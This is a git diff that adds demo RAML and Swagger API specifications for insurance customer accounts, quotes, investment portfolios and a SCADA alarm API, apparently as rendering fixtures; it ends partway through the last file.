+ firstName : "John"
+ lastName : "Smith"
+ policies:
+ -
+ id: "123456789-01"
+ description: "Ford Fiesta 2015"
+ startDate: "2019-01-01"
diff --git a/demo/apis/SE-11508/examples/validate-customer-account-post-400.raml b/demo/apis/SE-11508/examples/validate-customer-account-post-400.raml
new file mode 100644
index 0000000..969dcb6
--- /dev/null
+++ b/demo/apis/SE-11508/examples/validate-customer-account-post-400.raml
@@ -0,0 +1,10 @@
+#%RAML 1.0 NamedExample
+
+400_badrequest_for_validate_customer_account:
+ displayName: A bad request for Customer Account
+ description: A bad request generated by DISC
+ value:
+ messages:
+ -
+ code: APIXXXX
+ description: "'dateOfBirth' is invalid"
diff --git a/demo/apis/SE-11508/examples/validate-customer-account-post-request.raml b/demo/apis/SE-11508/examples/validate-customer-account-post-request.raml
new file mode 100644
index 0000000..c4b3414
--- /dev/null
+++ b/demo/apis/SE-11508/examples/validate-customer-account-post-request.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 NamedExample
+
+ValidatePingCustomerAccountsPostExample:
+ displayName: An example of the POST Request for validating PING customer
+ value:
+ firstName : "John"
+ lastName : "Smith"
+ dateOfBirth : "2019-03-03"
\ No newline at end of file
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml
new file mode 100644
index 0000000..bc06209
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml
@@ -0,0 +1,10 @@
+#%RAML 1.0 SecurityScheme
+description: |
+ A lightweight security policy which requires an Authorization http header to be set on a request.
+type: x-custom
+describedBy:
+ headers:
+ Authorization:
+ description: |
+ Used to pass an authorization token on the request.
+ type: string
\ No newline at end of file
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/api-headers-trait.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/api-headers-trait.raml
new file mode 100644
index 0000000..85de82e
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/api-headers-trait.raml
@@ -0,0 +1,20 @@
+#%RAML 1.0 Trait
+
+ headers:
+ X-Trace-Id:
+ description: The X-Trace-Id provides API clients the opportunity to submit there own reference ID on an API request. The Id will be output in the application logs to facilate diagnostic troubleshooting.
+ type: string
+ maxLength: 64
+ required: false
+
+ X-Request-Id:
+ description: The X-Request-Id is a correlation identifier set on a request by the loadbalancer.
+ type: string
+ pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$
+ required: true
+
+ X-Message-Id:
+ description: The X-Message-Id is a unique identifier for every request within the API subsystem.
+ type: string
+ pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$
+ required: true
\ No newline at end of file
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml
new file mode 100644
index 0000000..193aa8d
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml
@@ -0,0 +1,30 @@
+#%RAML 1.0 Trait
+
+responses:
+ 400:
+ description: Bad request.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 404:
+ description: Resource not found.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 500:
+ description: Internal Server Error.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
\ No newline at end of file
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/create.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/create.raml
new file mode 100644
index 0000000..fe21585
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/create.raml
@@ -0,0 +1,30 @@
+#%RAML 1.0 Trait
+
+responses:
+ 201:
+ description: Created
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 400:
+ description: Bad request.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 500:
+ description: Internal Server Error.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
\ No newline at end of file
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/customer-account-filter-trait.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/customer-account-filter-trait.raml
new file mode 100644
index 0000000..68446d6
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/customer-account-filter-trait.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 Trait
+
+queryParameters:
+ customeraccountid:
+ description: Customer Account Id
+ required: false
+ minLength: 9
+ maxLength: 9
\ No newline at end of file
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/delete.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/delete.raml
new file mode 100644
index 0000000..0fe043d
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/delete.raml
@@ -0,0 +1,48 @@
+#%RAML 1.0 Trait
+
+responses:
+ 204:
+ description: No Content
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 400:
+ description: Bad request.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 404:
+ description: Resource not found.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 422:
+ description: Unprocessable Entity.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 500:
+ description: Internal Server Error.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
\ No newline at end of file
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/payment.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/payment.raml
new file mode 100644
index 0000000..734842b
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/payment.raml
@@ -0,0 +1,10 @@
+#%RAML 1.0 Trait
+
+headers:
+ Client-Id:
+ type: string
+ minLength: 10
+ maxLength: 12
+ pattern: ([\w]{3})([\.])([\w]{3})([\.])([\w]{2,4})
+ example: TST.CLI.ID
+ required: true
\ No newline at end of file
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/policy-filter-trait.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/policy-filter-trait.raml
new file mode 100644
index 0000000..8748dee
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/policy-filter-trait.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 Trait
+
+queryParameters:
+ policyid:
+ description: Policy id
+ required: false
+ minLength: 12
+ maxLength: 12
\ No newline at end of file
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/read.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/read.raml
new file mode 100644
index 0000000..7af93c5
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/read.raml
@@ -0,0 +1,48 @@
+#%RAML 1.0 Trait
+
+uses:
+ response-types: types/common-responses.raml
+
+responses:
+ 200:
+ description: Ok.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 400:
+ description: Bad request.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ body:
+ application/json:
+ properties:
+ messages?: response-types.ErrorMessage[]
+ 404:
+ description: Resource not found.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 500:
+ description: Internal Server Error.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+
+
\ No newline at end of file
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/common-responses.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/common-responses.raml
new file mode 100644
index 0000000..f4bf176
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/common-responses.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 Library
+usage: This library offers shared payload responses for System Traits.
+
+types:
+ ErrorMessage:
+ properties:
+ code: string
+ description: string
\ No newline at end of file
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml
new file mode 100644
index 0000000..d684b89
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml
@@ -0,0 +1,12 @@
+#%RAML 1.0 Library
+usage: This library offers shared error responses for System Traits.
+
+types:
+ Error:
+ properties:
+ messages : Messages[]
+
+ Messages:
+ properties:
+ code:
+ description:
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/underwriting.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/underwriting.raml
new file mode 100644
index 0000000..07bcec1
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/underwriting.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 Trait
+responses:
+ 503:
+ description: Service Unavailable.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
\ No newline at end of file
diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/update.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/update.raml
new file mode 100644
index 0000000..0fe043d
--- /dev/null
+++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/update.raml
@@ -0,0 +1,48 @@
+#%RAML 1.0 Trait
+
+responses:
+ 204:
+ description: No Content
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 400:
+ description: Bad request.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 404:
+ description: Resource not found.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 422:
+ description: Unprocessable Entity.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
+ 500:
+ description: Internal Server Error.
+ headers:
+ X-Trace-Id:
+ required: false
+ X-Request-Id:
+ required: true
+ X-Message-Id:
+ required: true
\ No newline at end of file
diff --git a/demo/apis/SE-11508/model-system/api-headers.raml b/demo/apis/SE-11508/model-system/api-headers.raml
new file mode 100644
index 0000000..0c7c890
--- /dev/null
+++ b/demo/apis/SE-11508/model-system/api-headers.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 Trait
+
+ headers:
+ X-Trace-Id:
+ description: The X-Trace-Id provides API clients the opportunity to submit there own reference ID on an API request. The Id will be output in the application logs to facilate diagnostic troubleshooting.
+ type: string
+ maxLength: 64
+ required: false
\ No newline at end of file
diff --git a/demo/apis/SE-11508/model-system/api-strict-headers.raml b/demo/apis/SE-11508/model-system/api-strict-headers.raml
new file mode 100644
index 0000000..5d04a04
--- /dev/null
+++ b/demo/apis/SE-11508/model-system/api-strict-headers.raml
@@ -0,0 +1,25 @@
+#%RAML 1.0 Trait
+
+ headers:
+ X-Trace-Id:
+ description: The X-Trace-Id provides API clients the opportunity to submit there own reference ID on an API request. The Id will be output in the application logs to facilate diagnostic troubleshooting.
+ type: string
+ maxLength: 64
+ required: false
+
+ X-Request-Id:
+ description: The X-Request-Id is a correlation identifier set on a request by the loadbalancer.
+ type: string
+ pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$
+ required: true
+
+ X-Message-Id:
+ description: The X-Message-Id is a unique identifier for every request within the API subsystem.
+ type: string
+ pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$
+ required: true
+
+ Brand:
+ description: The User Brand
+ type: string
+ required: true
\ No newline at end of file
diff --git a/demo/apis/SE-11508/model-system/change-credentials-type.raml b/demo/apis/SE-11508/model-system/change-credentials-type.raml
new file mode 100644
index 0000000..d9ad152
--- /dev/null
+++ b/demo/apis/SE-11508/model-system/change-credentials-type.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 Library
+
+types:
+ UpdateCredentials:
+ properties:
+ encryptedPassword:
+ description: Existing password on account in encrypted format.
+ newEncryptedPassword?:
+ description: New password to be set on account in encrypted format.
+ newUserName?:
+ description: Email Address as username to be updated on account.
\ No newline at end of file
diff --git a/demo/apis/SE-11508/model-system/convert-aggregator-quote-types.raml b/demo/apis/SE-11508/model-system/convert-aggregator-quote-types.raml
new file mode 100644
index 0000000..cb26551
--- /dev/null
+++ b/demo/apis/SE-11508/model-system/convert-aggregator-quote-types.raml
@@ -0,0 +1,25 @@
+#%RAML 1.0 Library
+
+types:
+ CreatedQuote:
+ properties:
+ referenceId:
+ description: The newly created Customer Account ID.
+ quoteId?:
+ description: The newly created Quote ID.
+ source:
+ description: The name of the Aggregator which is the source of the click-through URL.
+ existingCustomer:
+ type: boolean
+ description: A boolean value to indicate whether the 'new' customer's details have been matched to an existing account.
+ title?:
+ firstName?:
+ lastName?:
+
+
+ AggregatorCreateQuote:
+ properties:
+ clickthroughurl:
+ required: true
+ type: string
+ example: https://budget-qa.doodleinsurance.co.uk/Car/BI9M/ALE/?refno=A8S000191&vehno=1&ORGAFFCLIE=CTMS&prdcls=PC&clkref=4DCFB507B8500DCB1123B3AF75F10255D92297C7
\ No newline at end of file
diff --git a/demo/apis/SE-11508/model-system/create-quote-types.raml b/demo/apis/SE-11508/model-system/create-quote-types.raml
new file mode 100644
index 0000000..a1d397d
--- /dev/null
+++ b/demo/apis/SE-11508/model-system/create-quote-types.raml
@@ -0,0 +1,35 @@
+#%RAML 1.0 Library
+
+types:
+ CreateQuotePostRequest:
+ properties:
+ titleCode: string
+ firstName: string
+ lastName: string
+ dateOfBirth: string
+ maritalStatusCode: string
+ addressLine1: string
+ addressLine2?: string
+ addressLine3?: string
+ addressLine4?: string
+ addressLine5?: string
+ postCode: string
+ maskCode: string
+ product: string
+ clientId: string
+
+ CreateQuotePostMatchedResponse:
+ properties:
+ customerAccountId: string
+ quoteId: string
+ titleCode: string
+ title: string
+ firstName: string
+ lastName: string
+ existingCustomer: boolean
+
+ CreateQuotePostCreatedResponse:
+ properties:
+ customerAccountId: string
+ quoteId: string
+ existingCustomer: boolean
\ No newline at end of file
diff --git a/demo/apis/SE-11508/model-system/customer-accounts-types.raml b/demo/apis/SE-11508/model-system/customer-accounts-types.raml
new file mode 100644
index 0000000..af5ca5d
--- /dev/null
+++ b/demo/apis/SE-11508/model-system/customer-accounts-types.raml
@@ -0,0 +1,57 @@
+#%RAML 1.0 Library
+
+types:
+ PingBaseCustomerAccount:
+ properties:
+ id:
+ type: string
+ required: true
+
+ PingCustomerAccount:
+ type: PingBaseCustomerAccount
+ properties:
+ dateOfBirth:
+ type: string
+ olssRegistered:
+ type: boolean
+ required: true
+
+ PatchPingCustomerAccountRequest:
+ properties:
+ userId:
+ type: string
+ required: false
+ example: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4"
+ email:
+ type: string
+ required: false
+ maxLength: 50
+ pattern: ^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b$
+ example: "jsmith@provider.co.uk"
+ encryptedPassword:
+ type: string
+ required: false
+ example: "XXXXXXXX"
+
+ ValidateCustomerAccountPolicy:
+ properties:
+ id: string
+ description: string
+ startDate: date-only
+
+ ValidateCustomerAccountMatchedResponse:
+ properties:
+ userId?: string
+ customerAccountId: string
+ title: string
+ firstName: string
+ lastName: string
+ email?: string
+ policies: ValidateCustomerAccountPolicy[]
+
+ ValidateCustomerAccountMatchedRequest:
+ properties:
+ firstName: string
+ lastName: string
+ dateOfBirth: string
+
\ No newline at end of file
diff --git a/demo/apis/SE-11508/model-system/ping-error-messages-types.raml b/demo/apis/SE-11508/model-system/ping-error-messages-types.raml
new file mode 100644
index 0000000..40f335b
--- /dev/null
+++ b/demo/apis/SE-11508/model-system/ping-error-messages-types.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 Library
+
+types:
+ PingErrorMessage:
+ properties:
+ code:
+ type: string
+ description:
+ type: string
+
+ PingErrorMessagesResponse:
+ properties:
+ messages:
+ type: PingErrorMessage[]
+ required: false
+
+
\ No newline at end of file
diff --git a/demo/apis/SE-11508/model-system/ping-validate-credentials.raml b/demo/apis/SE-11508/model-system/ping-validate-credentials.raml
new file mode 100644
index 0000000..1991487
--- /dev/null
+++ b/demo/apis/SE-11508/model-system/ping-validate-credentials.raml
@@ -0,0 +1,16 @@
+#%RAML 1.0 Library
+
+types:
+
+ PingValidateCredentialsResponse:
+ properties:
+ customerAccountId:
+ type: string
+ required: true
+ userId:
+ type: string
+ required: false
+ passwordMatched:
+ type: boolean
+ required: true
+
\ No newline at end of file
diff --git a/demo/apis/SE-11508/model-system/retrieve-quotes-types.raml b/demo/apis/SE-11508/model-system/retrieve-quotes-types.raml
new file mode 100644
index 0000000..618dec5
--- /dev/null
+++ b/demo/apis/SE-11508/model-system/retrieve-quotes-types.raml
@@ -0,0 +1,40 @@
+#%RAML 1.0 Library
+types:
+ RetrieveQuotesResponse:
+ properties:
+ customerAccountId:
+ description: Valid customer account ID.
+ quoteId:
+ description: The most recent quote id found.
+ isTE:
+ type: boolean
+ description: Is this a TE journey?
+ affinityCode:
+ description: The affinity code of this journey.
+
+ RetrieveQuotesRequest:
+ properties:
+ lastName:
+ required: true
+ type: string
+ example: "Schwarzenegger"
+ dateOfBirth:
+ required: true
+ type: date-only
+ example: "1947-07-30"
+ customerAccountId:
+ required: true
+ type: string
+ minLength: 9
+ maxLength: 9
+ example: "123456789"
+ product:
+ required: true
+ type:
+ enum: [ Car, Van, Home ]
+ example: "Car"
+ maskCode:
+ required: true
+ type: string
+ maxLength: 7
+ example: "A123"
\ No newline at end of file
diff --git a/demo/apis/SE-12291/SE-12291.json b/demo/apis/SE-12291/SE-12291.json
new file mode 100644
index 0000000..33ca778
--- /dev/null
+++ b/demo/apis/SE-12291/SE-12291.json
@@ -0,0 +1,357 @@
+{
+ "swagger": "2.0",
+ "info": {
+ "version": "v1",
+ "title": "Example"
+ },
+ "host": "sample",
+ "schemes": [
+ "https"
+ ],
+ "paths": {
+ "/api/investment-administration/capital-system/v1/portfolios": {
+ "get": {
+ "tags": [
+ "Portfolio"
+ ],
+ "summary": "Returns the portfolios",
+ "operationId": "Portfolio_GetPortfolios",
+ "consumes": [],
+ "produces": [
+ "application/json"
+ ],
+ "parameters": [
+ {
+ "name": "portfolioUids",
+ "in": "query",
+ "description": "Filters the portfolios to this set of portfolio ids",
+ "required": false,
+ "type": "array",
+ "items": {
+ "type": "integer",
+ "format": "int64"
+ },
+ "collectionFormat": "multi"
+ },
+ {
+ "name": "investmentPortfolioType",
+ "in": "query",
+ "description": "Filters the portfolio by portfolio type (not valid for portfolio category of index or composite)",
+ "required": false,
+ "type": "string",
+ "enum": [
+ "AA",
+ "MR",
+ "RP",
+ "MX",
+ "GP",
+ "SG",
+ "ID",
+ "AD",
+ "AM",
+ "AR",
+ "AX",
+ "GA",
+ "GM",
+ "GR",
+ "GX",
+ "RM",
+ "SM",
+ "SR",
+ "SX",
+ "XM",
+ "FL",
+ "AT",
+ "CP",
+ "MG",
+ "IDM"
+ ]
+ },
+ {
+ "name": "portfolioCategory",
+ "in": "query",
+ "description": "Category of the portfolios",
+ "required": false,
+ "type": "string",
+ "enum": [
+ "Investment",
+ "Index",
+ "Composite"
+ ]
+ },
+ {
+ "name": "containsValue",
+ "in": "query",
+ "description": "Find portfolios that contain a specific value.",
+ "required": false,
+ "type": "string"
+ },
+ {
+ "name": "containsValueFields",
+ "in": "query",
+ "description": "Defaults to 1/PortfolioName. Choose which fields to find a contained value. 1 = PortfolioName, 2 = InvestmentPortfolioName, 3 = either",
+ "required": false,
+ "type": "integer",
+ "format": "int32"
+ },
+ {
+ "name": "resultCount",
+ "in": "query",
+ "description": "Limit Results to a certain amount",
+ "required": false,
+ "type": "integer",
+ "format": "int32"
+ },
+ {
+ "name": "investmentPortfolioProperty.name",
+ "in": "query",
+ "description": "The name of the property to filter by",
+ "required": false,
+ "type": "string"
+ },
+ {
+ "name": "investmentPortfolioProperty.value",
+ "in": "query",
+ "description": "[Requires Property Name, Cannot be Filtered Alone] The value of the property must be equal to",
+ "required": false,
+ "type": "string"
+ },
+ {
+ "name": "clientId",
+ "in": "header",
+ "description": "HTTP Header Parameter - Client system name that invoked this api",
+ "required": false,
+ "type": "string"
+ },
+ {
+ "name": "CG-CorrelationId",
+ "in": "header",
+ "description": "HTTP Header Parameter - GUID to uniquely identify requests and correlate request & response, end-to-end",
+ "required": false,
+ "type": "string"
+ },
+ {
+ "name": "metaData",
+ "in": "header",
+ "description": "HTTP Header Parameter - Comma separated name-value pairs of key elements of request",
+ "required": false,
+ "type": "string"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "$ref": "#/definitions/PortfoliosResponse"
+ }
+ },
+ "204": {
+ "description": "NoContent"
+ },
+ "500": {
+ "description": "Internal Server Error",
+ "schema": {
+ "$ref": "#/definitions/Error"
+ }
+ }
+ },
+ "security": [
+ {
+ "basicAuth": []
+ }
+ ]
+ }
+ }
+ },
+ "definitions": {
+ "PortfoliosResponse": {
+ "allOf": [
+ {
+ "$ref": "#/definitions/ApiResponse"
+ },
+ {
+ "required": [
+ "portfolios"
+ ],
+ "type": "object",
+ "properties": {
+ "portfolios": {
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/Portfolio"
+ }
+ }
+ }
+ }
+ ]
+ },
+ "Error": {
+ "description": "Represents a generic custom error (this is not a replacement for the HTTP errors)",
+ "allOf": [
+ {
+ "$ref": "#/definitions/ApiResponse"
+ },
+ {
+ "required": [
+ "errors"
+ ],
+ "type": "object",
+ "properties": {
+ "errors": {
+ "description": "Details of why the error occurred",
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/ErrorMessage"
+ }
+ }
+ }
+ }
+ ]
+ },
+ "ApiResponse": {
+ "description": "Abstract representation of a success/error response",
+ "required": [
+ "responseMetaData"
+ ],
+ "type": "object",
+ "properties": {
+ "responseMetaData": {
+ "$ref": "#/definitions/ApiResponseMetaData",
+ "description": "The meta data associated with a response"
+ }
+ }
+ },
+ "ApiResponseMetaData": {
+ "description": "Meta data describing the response to a request",
+ "required": [
+ "apiVersion",
+ "timestamp"
+ ],
+ "type": "object",
+ "properties": {
+ "apiVersion": {
+ "description": "The version number of the API",
+ "type": "string"
+ },
+ "timestamp": {
+ "format": "date-time",
+ "description": "Timestamp the response was created",
+ "type": "string"
+ }
+ }
+ },
+ "ErrorMessage": {
+ "description": "The detailed contents of an error",
+ "required": [
+ "id",
+ "code",
+ "message",
+ "createdDate"
+ ],
+ "type": "object",
+ "properties": {
+ "id": {
+ "description": "Unique identifier of the error message",
+ "type": "string"
+ },
+ "code": {
+ "description": "Mnemonic identifier",
+ "type": "string"
+ },
+ "message": {
+ "description": "Detailed message of the error",
+ "type": "string"
+ },
+ "createdDate": {
+ "format": "date-time",
+ "description": "Timestamp the error was created",
+ "type": "string"
+ }
+ }
+ },
+ "Portfolio": {
+ "description": "Definition of a generic portfolio",
+ "required": [
+ "portfolioUid",
+ "name",
+ "category"
+ ],
+ "type": "object",
+ "properties": {
+ "portfolioUid": {
+ "format": "int64",
+ "description": "Identifiers of a Portfolio",
+ "type": "integer"
+ },
+ "name": {
+ "description": "PortfolioName of a Portfolio",
+ "type": "string"
+ },
+ "category": {
+ "description": "Category of a Portfolio",
+ "enum": [
+ "Investment",
+ "Index",
+ "Composite"
+ ],
+ "type": "string"
+ },
+ "investmentPortfolioTypeUid": {
+ "format": "int32",
+ "description": "InvestmentPortfolioType of a Portfolio",
+ "type": "integer",
+ "readOnly": true
+ },
+ "investmentPortfolioTypeCode": {
+ "description": "InvestmentPortfolioTypeCode of a Portfolio",
+ "enum": [
+ "AA",
+ "MR",
+ "RP",
+ "MX",
+ "GP",
+ "SG",
+ "ID",
+ "AD",
+ "AM",
+ "AR",
+ "AX",
+ "GA",
+ "GM",
+ "GR",
+ "GX",
+ "RM",
+ "SM",
+ "SR",
+ "SX",
+ "XM",
+ "FL",
+ "AT",
+ "CP",
+ "MG",
+ "IDM"
+ ],
+ "type": "string"
+ },
+ "investmentPortfolioNumber": {
+ "description": "InvestmentPortfolioNumber of a Portfolio",
+ "type": "string"
+ },
+ "investmentPortfolioName": {
+ "description": "InvestmentPortfolioName of a Portfolio",
+ "type": "string"
+ },
+ "portfolioAliasName": {
+ "description": "PortfolioAliasName of a Portfolio",
+ "type": "string"
+ }
+ }
+ }
+ },
+ "securityDefinitions": {
+ "basicAuth": {
+ "type": "basic",
+ "description": "Basic HTTP Authentication"
+ }
+ }
+}
diff --git a/demo/apis/SE-12752/SE-12752.raml b/demo/apis/SE-12752/SE-12752.raml
new file mode 100644
index 0000000..d2107f9
--- /dev/null
+++ b/demo/apis/SE-12752/SE-12752.raml
@@ -0,0 +1,36 @@
+#%RAML 1.0
+baseUri: https://anypoint.mulesoft.com/mocking/api/v1/links/ccc5e2f5-eff9-4cc9-acb9-203c55f08d19/trn-sys-api-gabe/{version} #
+title: One Query Param Required
+description: |
+ Rendering different types of a query string in the documentation.
+types:
+ queryParam:
+ minProperties: 1
+ properties:
+ seriesNumber?:
+ type: number
+ description: A description of a series number
+ maximum: 1
+ featureNumber?: string
+ otherParam:
+ properties:
+ unioned: string
+/test:
+ get:
+ queryString: queryParam
+/test2:
+ get:
+ queryString: otherParam
+/union:
+ get:
+ queryString: queryParam | otherParam
+/scalar:
+ get:
+ queryString:
+ type: string
+ example: test
+ description: A query string with a scalar type.
+/array:
+ get:
+ queryString:
+ type: otherParam[]
diff --git a/demo/apis/SE-12957/SE-12957.json b/demo/apis/SE-12957/SE-12957.json
new file mode 100644
index 0000000..6b08c89
--- /dev/null
+++ b/demo/apis/SE-12957/SE-12957.json
@@ -0,0 +1,741 @@
+{
+ "swagger": "2.0",
+ "info": {
+ "version": "v1",
+ "title": "SMART Downtime API Example4",
+ "description": "OAS2: URI parameters are not described nor published",
+ "contact": {
+ "name": "SMART Support",
+ "email": "smartsupport@res-group.com"
+ }
+ },
+ "paths": {
+ "/api/v1/alarm/{scada-object-key}": {
+ "get": {
+ "tags": [
+ "Alarm"
+ ],
+ "summary": "Get a list of alarms for a single downtime event.",
+ "operationId": "GetList",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "scada-object-key",
+ "in": "path",
+ "description": "The key identifies the SCADA object",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "time-on",
+ "in": "query",
